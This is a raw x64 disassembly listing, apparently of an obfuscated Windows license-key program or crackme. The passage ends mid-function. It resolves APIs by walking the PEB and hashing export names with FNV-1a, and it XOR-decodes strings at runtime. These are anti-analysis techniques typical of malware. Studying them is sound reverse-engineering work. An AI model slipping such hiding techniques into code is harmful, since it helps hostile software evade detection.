mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140011a66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140011a66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140011a61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011a40
cmp r8d, 0xe76fb4aa
je 0x140011a6b
test r9d, r9d
jne 0x140011a20
mov rax, qword [rax]
jmp 0x1400119f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x38], 0xa
xor byte [rsp + 0x39], 0x35
xor byte [rsp + 0x3a], 0x36
xor byte [rsp + 0x3b], 0x37
xor byte [rsp + 0x3c], 0x38
xor byte [rsp + 0x3d], 0x39
xor byte [rsp + 0x3e], 0x3a
xor byte [rsp + 0x3f], 0x3b
xor byte [rsp + 0x40], 0x3c
lea rcx, [rsp + 0x38]
call rdx
movups xmm0, xmmword [0x14007baf0]
movups xmmword [rbp - 0x30], xmm0
mov eax, dword [0x14007bb00]
mov dword [rbp - 0x20], eax
movzx eax, word [0x14007bb04]
mov word [rbp - 0x1c], ax
cmp byte [0x14007bb05], 0
je 0x140011c73
mov r8d, r14d
cmp r15d, 2
jl 0x140011c2d
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140011b20
cmp r8d, 0x16
jge 0x140011c73
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140011c40
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140011d16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140011d16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140011d11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140011cf0
cmp r8d, 0x2fa62ca8
je 0x140011d1b
test r9d, r9d
jne 0x140011cd0
mov rax, qword [rax]
jmp 0x140011ca0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
movups xmm0, xmmword [str.PF_R___ZOY_F_2_7___f2_L]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x14007bb18]
movsd qword [rbp - 0x20], xmm0
movzx eax, byte [0x14007bb20]
mov byte [rbp - 0x18], al
mov r8d, r14d
cmp r15d, 2
jl 0x140011ead
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011da0
cmp r8d, 0x19
jge 0x140011ef3
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140011ec0
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011f13
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x240]
call fcn.140003220
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x14007bde0]
movdqu xmmword [rbp + 0x230], xmm1
mov byte [rbp + 0x220], 0
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x30]
call fcn.14000b870
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.1400050d0
lea rcx, [rbp - 0x30]
call fcn.140004630
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x30]
call fcn.140003f40
mov rdx, rax
lea rcx, [0x1400fd9a0]
call fcn.140022d60
cmp byte [0x1400fdbb0], 0
jne 0x140011fac
lea rcx, [rbp + 0x110]
call fcn.140005600
nop
lea rcx, [rbp + 0x220]
call fcn.140004630
nop
lea rcx, [rbp + 0x240]
jmp 0x1400127c5
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x1400127ca
movsd xmm0, qword [0x14007bb28]
movsd qword [rsp + 0x38], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x40], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012091
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012070
cmp r8d, 0xe76fb4aa
je 0x14001209b
test r9d, r9d
jne 0x140012050
mov rax, qword [rax]
jmp 0x140012020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x38], 0xa
xor byte [rsp + 0x39], 0x35
xor byte [rsp + 0x3a], 0x36
xor byte [rsp + 0x3b], 0x37
xor byte [rsp + 0x3c], 0x38
xor byte [rsp + 0x3d], 0x39
xor byte [rsp + 0x3e], 0x3a
xor byte [rsp + 0x3f], 0x3b
xor byte [rsp + 0x40], 0x3c
lea rcx, [rsp + 0x38]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
mov r8d, Ordinal_26
lea rdx, str._Enter_Your_License_Key:
lea rcx, [rbp + 0x240]
call fcn.140003220
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x240]
call fcn.14000d6c0
nop
lea rcx, [rbp + 0x240]
call fcn.140004630
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x220], 0
lea rdx, [rbp + 0x220]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400029f0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x240]
call fcn.140003f40
mov rdx, rax
lea rcx, [0x1400fd9a0]
call fcn.140022d60
cmp byte [0x1400fdbb0], 0
jne 0x1400126a2
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140005160
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012236
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012236
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012231
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012210
cmp r8d, 0x491e0a9c
je 0x14001223b
test r9d, r9d
jne 0x1400121f0
mov rax, qword [rax]
jmp 0x1400121c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140012323
cmp r15d, 2
jl 0x1400122e7
movdqa xmm3, xmmword [0x14007bdf0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007c050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007c050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007bfe0]
movd xmm0, dword [rsi]
xorps xmm2, xmm0
movd dword [rsi], xmm2
jmp 0x140012323
mov r9, rsi
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400122f0
mov rcx, rsi
call r11
lea rcx, [rbp + 0x110]
call fcn.140005600
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140005170
mov rdi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov esi, dword [rdx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400123d6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400123d6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400123d1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400123b0
cmp r8d, 0xe76fb4aa
je 0x1400123db
test r9d, r9d
jne 0x140012390
mov rcx, qword [rcx]
jmp 0x140012360
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
movzx eax, byte [rdi + 8]
test al, al
je 0x14001241f
xor byte [rdi], 0x34
xor byte [rdi + 1], 0x35
xor byte [rdi + 2], 0x36
xor byte [rdi + 3], 0x37
xor byte [rdi + 4], 0x38
xor byte [rdi + 5], 0x39
xor byte [rdi + 6], 0x3a
xor byte [rdi + 7], 0x3b
xor al, 0x3c
mov byte [rdi + 8], al
mov rcx, rdi
call r8
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x30]
call fcn.140005190
mov r9, rax
cmp byte [rax + 0x13], 0
je 0x1400125d3
cmp r15d, 2
jl 0x14001258f
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x10
jl 0x140012480
cmp eax, 0x14
jge 0x1400125d3
movsxd r8, r14d
add r8, r9
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r14b
sub al, dl
add al, 0x34
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x14
jl 0x1400125a0
mov rdx, r9
mov rcx, r10
call fcn.140002e80
lea rdx, [0x140003a20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012676
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012676
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012671
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012650
cmp r8d, 0x2fa62ca8
je 0x14001267b
test r9d, r9d
jne 0x140012630
mov rax, qword [rax]
jmp 0x140012600
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14007b850]
mov qword [rbp], rax
lea rcx, [rbp + 0xa8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.140003de0
nop
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.dsieeyeasdeydsdashin.txt
lea rcx, [rbp + 8]
call fcn.14000afc0
xor r8d, r8d
test rax, rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
je 0x140012754
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140012762
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rdx, qword [rbp + 0x220]
mov r8, qword [rbp + 0x230]
lea rcx, [rbp]
call fcn.140003320
lea rcx, [rbp + 8]
call fcn.140008880
test rax, rax
jne 0x1400127b4
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp]
call fcn.140005270
nop
lea rcx, [rbp + 0x220]
call fcn.140004630
cmp byte [0x1400fdbb0], 0
jne 0x140012bf6
lea rcx, [rbp + 0x110]
call fcn.140005600
movsd xmm0, qword [0x14007bb60]
movsd qword [rbp - 0x68], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x60], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012886
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012886
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012881
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012860
cmp r8d, 0xe76fb4aa
je 0x14001288b
test r9d, r9d
jne 0x140012840
mov rax, qword [rax]
jmp 0x140012810
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x68], 0xa
xor byte [rbp - 0x67], 0x35
xor byte [rbp - 0x66], 0x36
xor byte [rbp - 0x65], 0x37
xor byte [rbp - 0x64], 0x38
xor byte [rbp - 0x63], 0x39
xor byte [rbp - 0x62], 0x3a
xor byte [rbp - 0x61], 0x3b
xor byte [rbp - 0x60], 0x3c
lea rcx, [rbp - 0x68]
call rdx
movups xmm0, xmmword [0x14007bb70]
movups xmmword [rbp - 0x30], xmm0
mov eax, dword [0x14007bb80]
mov dword [rbp - 0x20], eax
cmp byte [0x14007bb83], 0
je 0x140012a7e
mov ecx, r14d
cmp r15d, 2
jl 0x140012a3a
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp - 0x2c]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140012930
cmp ecx, 0x14
jge 0x140012a7e
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140012a50
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002e80
lea rdx, [0x140003a20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012b26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012b26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012b21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012b00
cmp r8d, 0x2fa62ca8
je 0x140012b2b
test r9d, r9d
jne 0x140012ae0
mov rax, qword [rax]
jmp 0x140012ab0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
